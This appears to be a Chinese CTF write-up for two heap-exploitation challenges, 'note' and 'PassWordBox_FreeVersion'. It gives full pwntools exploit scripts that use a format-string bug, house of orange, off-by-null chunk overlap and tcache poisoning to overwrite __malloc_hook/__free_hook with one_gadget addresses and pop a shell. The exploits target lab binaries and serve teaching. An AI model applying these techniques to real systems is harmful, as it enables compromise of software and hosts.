note
利用scanf格式化字符串修改top chunk的size,再利用house of orange使堆块进入unsorted bin,泄露libc。
再次利用scanff格式化字符串将malloc_hook改为og(要利用realloc调栈)。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * context.log_level = 'debug'
def menu(index): p.sendlineafter('choice: ', str(index))
def add(size, content): menu(1) p.sendlineafter('size: ', str(size)) p.sendlineafter('content: ', content)
def say(say1, say2): menu(2) p.sendlineafter('say ? ', say1) p.sendlineafter('? ', say2)
p = process('./note') libc=ELF('./2.23/libc.so.6')
add(0x10,'aaa') p.recvuntil('addr: ') heap_addr = int(p.recvline().replace('\n',''),16) success('heap: '+hex(heap_addr))
say('%7$s'+'aaaa'+p64(heap_addr), 'a'*0x18+p64(0xfe1))
for i in range(16): add(0x100,'a'*0x100)
add(0x10, 'a'*8) menu(3) p.recvuntil('content:aaaaaaaa') malloc_hook = u64(p.recv(6).ljust(8,'\x00'))-0xfa success('malloc_hook: '+hex(malloc_hook))
libc_base = malloc_hook-libc.sym['__malloc_hook'] realloc = libc_base + libc.sym["__libc_realloc"] og=libc_base+0x4525a
say('%7$saaaa'+p64(malloc_hook-8),p64(og)) say('%7$saaaa'+p64(malloc_hook),p64(realloc+12)) p.recvuntil("choice: ") p.sendline("1") p.recvuntil("size: ") p.sendline("16") p.interactive()
|
PassWordBox_FreeVersion
64位保护全开,add函数中存在off-by-null,并且在输入数据后会对数据进行加密,加密算法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| __int64 __fastcall cry(__int64 a1, int a2)//a1为堆content的地址,a2为输入的size { __int64 result; // rax int v3; // [rsp+14h] [rbp-18h] int i; // [rsp+18h] [rbp-14h]
v3 = 2 * (a2 / 16);//计算加密的次数,每8个字节加密一次 if ( a2 % 16 <= 8 ) { if ( a2 % 16 > 0 )//不足8补1 ++v3; } else { v3 += 2;//大于8小于16补2 } for ( i = 0; ; ++i ) { result = (unsigned int)i; if ( i >= v3 ) break; *(_QWORD *)(8LL * i + a1) ^= qword_4040;//输入数据与qword_4040异或 } return result; }
|
我开始是想首先三个malloc(0x88)的chunk(为了进入unshorted bin并且方便合并),但是在进行overlapping时要考虑off by one,所
以直接三个malloc(0xf8),循环填满0x100的tcache,再dele(0),想办法改chunk(2)的prev_size和利用off by one改inuse位,再dele(2)
malloc(0xf8),此时show(1)便可泄露libc。泄露了libc之后,因为之前分配的chunk1并没有free,再分配一个堆,堆9就会与
堆1重合。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import* context.log_level='debug' r=process('./pwdFree')
elf=ELF('./pwdFree') libc=ELF('./2.27/libc.so.6') def add(ind,size,x): r.sendlineafter(':','1') r.sendlineafter(':',str(ind)) r.sendlineafter(':',str(size)) r.sendlineafter(':',x)
def edit(ind,test): r.sendlineafter(':','2') r.sendlineafter(':',str(ind)) r.send(test)
def dele(ind): r.sendlineafter(':','4') r.sendlineafter(':',str(ind))
def show(ind): r.sendlineafter(':','3') r.sendlineafter(':',str(ind))
add(0,0xf8,'a'*0x10) r.recvuntil("Save ID:") ad = u64(r.recv(8)) key = 0x6161616161616161 ^ ad add(1,0xf8,'a') add(2,0xf8,'s')
for i in range(7): add(3+i,0xf8,'a') for i in range(7): dele(3+i) dele(0) add(0,0xf8,'a') dele(1) add(1,0xf8,'a'*0xf0+p64(0x200^key)) dele(0) dele(2)
for i in range(7): add(3+i,0xf8,"aaaa\n")
add(8,0xf8,'a')
show(1)
r.recvuntil("Pwd is: ") main = u64(r.recv(8))^key
malloc =main - 0x70 base =malloc-libc.sym["__malloc_hook"] free_hook = base + libc.sym["__free_hook"] realloc = base + libc.sym["__libc_realloc"] og=0x4f3c2+base print hex(base)
add(9,0xf8,'a')
dele(0) dele(1)
edit(9,p64(free_hook))
add(10,0xf8,'s')
add(11,0xf8,p64(og^key)) dele(9)
r.interactive()
|